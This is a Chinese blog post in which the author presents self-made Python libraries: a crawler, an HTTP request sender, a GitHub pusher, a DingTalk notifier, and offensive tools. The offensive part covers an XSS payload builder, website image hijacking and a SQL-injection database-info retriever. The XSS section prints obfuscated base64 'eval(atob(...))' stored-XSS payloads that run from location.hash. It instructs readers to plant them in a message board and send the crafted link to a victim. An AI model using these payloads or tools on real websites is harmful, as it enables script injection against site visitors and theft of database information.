[ 网络安全] 博主自制Python三方库API (钉钉消息推送接口)

注意

在使用API类前,你必须在你的项目中导入该包

爬虫接口(暂时只能爬取服务端渲染后数据)

电影票房示例
复制XPATH和URL

在这里插入图片描述

from Crawling_Spider_Collection import Crawling_Spider_Collection

Crawling_Spider = Crawling_Spider_Collection()
for i1 in range(2,4):
    for i2 in range(1,13):
        print(Crawling_Spider.draw(f'https://www.48971.com/category-2_{i1}.html',f'/html/body/div[1]/div[2]/div/div[2]/div/ul/li[{i2}]/div[2]/a')[-1])

运行结果

在这里插入图片描述

发送请求报文接口

示例

from Processing_messages import Processing_messages
# 智能聊天AI接口 你可以对接ChatGpt ...
Header = '''
GET /api.php?key=free&appid=0&msg=<Martin>&_=1681129500299 HTTP/1.1
Host: api.qingyunke.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://api.qingyunke.com/
'''
pag = Processing_messages()
url,stat,message,header=pag.Main('http',Header,'<Martin>','你好')
print(f"URL[{stat}]:{url}\nComment:{message}\nRespon_Header:{header}")

运行结果

在这里插入图片描述

XSS_Construction (XSS攻击接口)

URL_Method方法 (Location.hash攻击)

XSS_Construction.URL_Method(网址,不带script标签的JS代码)
返回结果
构造后网址,手动触发Payload,自动触发Payload

示例

from XSS_Construction import XSS_Construction

XSS = XSS_Construction()
url,hand,auto = XSS.URL_Method('http://127.0.0.1/index.php','window.location.href = \'http://www.baidu.com\';')
print("手动触发URL地址:"+url)
print("手动触发Payload:"+hand)
print("自动触发Payload:"+auto)

运行结果

在这里插入图片描述

存储型XSS手动触发

复制手动触发Payload:<script>eval(atob('ZXZhbCh1bmVzY2FwZShhdG9iKGxvY2F0aW9uLmhhc2guc3Vic3RyKDEpKSkp'))</script>

将Payload写入留言板
在这里插入图片描述将手动触发URL发给受害者:http://127.0.0.1/index.php#d2luZG93LmxvY2F0aW9uLmhyZWYgPSAnaHR0cDovL3d3dy5iYWlkdS5jb20nOw==

请添加图片描述

存储型XSS自动触发

复制自动触发Payload:<script>eval(atob('bG9jYXRpb24uaGFzaD0nI2QybHVaRzkzTG14dlkyRjBhVzl1TG1oeVpXWWdQU0FuYUhSMGNEb3ZMM2QzZHk1aVlXbGtkUzVqYjIwbk93PT0nO2V2YWwoYXRvYignWlhaaGJDaDFibVZ6WTJGd1pTaGhkRzlpS0d4dlkyRjBhVzl1TG1oaGMyZ3VjM1ZpYzNSeUtERXBLU2twJykp'))</script>

将Payload写入留言板,等待受害者

请添加图片描述

Fake_Method方法 (data伪协议执行JS语句)

XSS_Construction.Fake_Method(携带script标签JS代码)
返回结果
Data伪协议Payload
示例

from XSS_Construction import XSS_Construction

XSS = XSS_Construction()
print(XSS.Fake_Method("<script>alert('Martin')</script>"))

运行结果

在这里插入图片描述
请添加图片描述

Image_hijacking_Method (网站图片劫持接口)

示例

from XSS_Construction import XSS_Construction

image_hk= XSS_Construction()
paylaod,path = image_hk.Image_hijacking_Method('http://192.168.101.128/cat/cat/61.147.171.105_55557/index.php',"./hk.gif")
print("XSS-Payload:"+paylaod)
print("path:"+path)

运行结果

在这里插入图片描述
请添加图片描述

随机User-Agent接口

示例

from Random_User_Agent import Random_User_Agent

rand = Random_User_Agent()
print(rand.Random_UA())

运行结果

在这里插入图片描述

GitAction (Github仓库代码一键提交)

提供UI界面工具
GitPush v1.0.0下载地址:https://github.com/MartinxMax/GitPush
GitPush v1.0.0详细教程:http://t.csdn.cn/dPdSm

示例

from GitAction import GitAction
# GitAction(False) 关闭回显
git = GitAction()
# 远程仓库 本地文件路径 GithubToken 分支(不指定默认master) 备注内容
git.push(remotegit='https://github.com/xxxxxxx/xxxxxxxx.git',
          path='G:\\Github\\xxxx',
          token='github_pat_xxxxx',
          branch='master',
          commit='helki')

运行结果

在这里插入图片描述

获取Github Token

要获取Github的token,您需要进行以下操作:

登录到您的GitHub帐户。
单击页面右上角的个人资料照片并选择“Settings”。
在左侧导航菜单中选择“Developer settings”。
在下拉菜单中选择“Personal access tokens”。
单击“Generate new token”。
为您的token命名,并选择您需要授予的权限。
单击“Generate token”。
复制和保存生成的访问令牌。请注意,这是您唯一的机会在此时查看访问令牌

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
全部改为Access:Read and Write
在这里插入图片描述生成Token

SQL注入获取数据库配置信息接口

MartSQLI v1.0.0下载地址:https://github.com/MartinxMax/MartSQLI
GitPush v1.0.0详细教程:https://www.freebuf.com/articles/web/368582.html

示例

from MartSQLIAPI import SQLIInformationRetriever

sqls = SQLIInformationRetriever()
sqls.loadfile('x://xxx/xxxx/payload.txt','<@MARTIN>')
sqls.method(echo="Login")
sqls.setlog() # 可以不写这一行,setlog表示输出样式变得好看
sqls.run()

Processing_messages包一定要和MartSQLIAPI包在同一目录下

找到SQL注入点
请添加图片描述将数据包复制到payload.txt,将所<@MARTIN>标记为执行sql语句的地方
请添加图片描述

运行结果

请添加图片描述
在这里插入图片描述

DingTalkPush (钉钉消息推送接口)

获取TOKEN和密匙

在这里插入图片描述

示例:发送文本消息

from DingTalkPush import DingTalk

TK = DingTalk(True) # 输入True将开启回显,输入False将关闭回显
TK.set_token('dbbbb...')
TK.set_secret('SECe6475')
TK.send_text('hello world')

运行结果

请添加图片描述
示例:发送图片文本消息

from DingTalkPush import DingTalk

TK = DingTalk(True) # 输入True将开启回显,输入False将关闭回显
TK.set_token('dbbbb...')
TK.set_secret('SECe6475')
TK.send_pic(message='Hello',picture='https://image.3001.net/images/20230508/1683551647_6458f59fe7fe949265aab.png',title='maptnh',link='https://www.freebuf.com/author/maptnh')
# tile 文本标题
# message 内容
# picture 图片地址
# link 超链接地址

运行结果

请添加图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值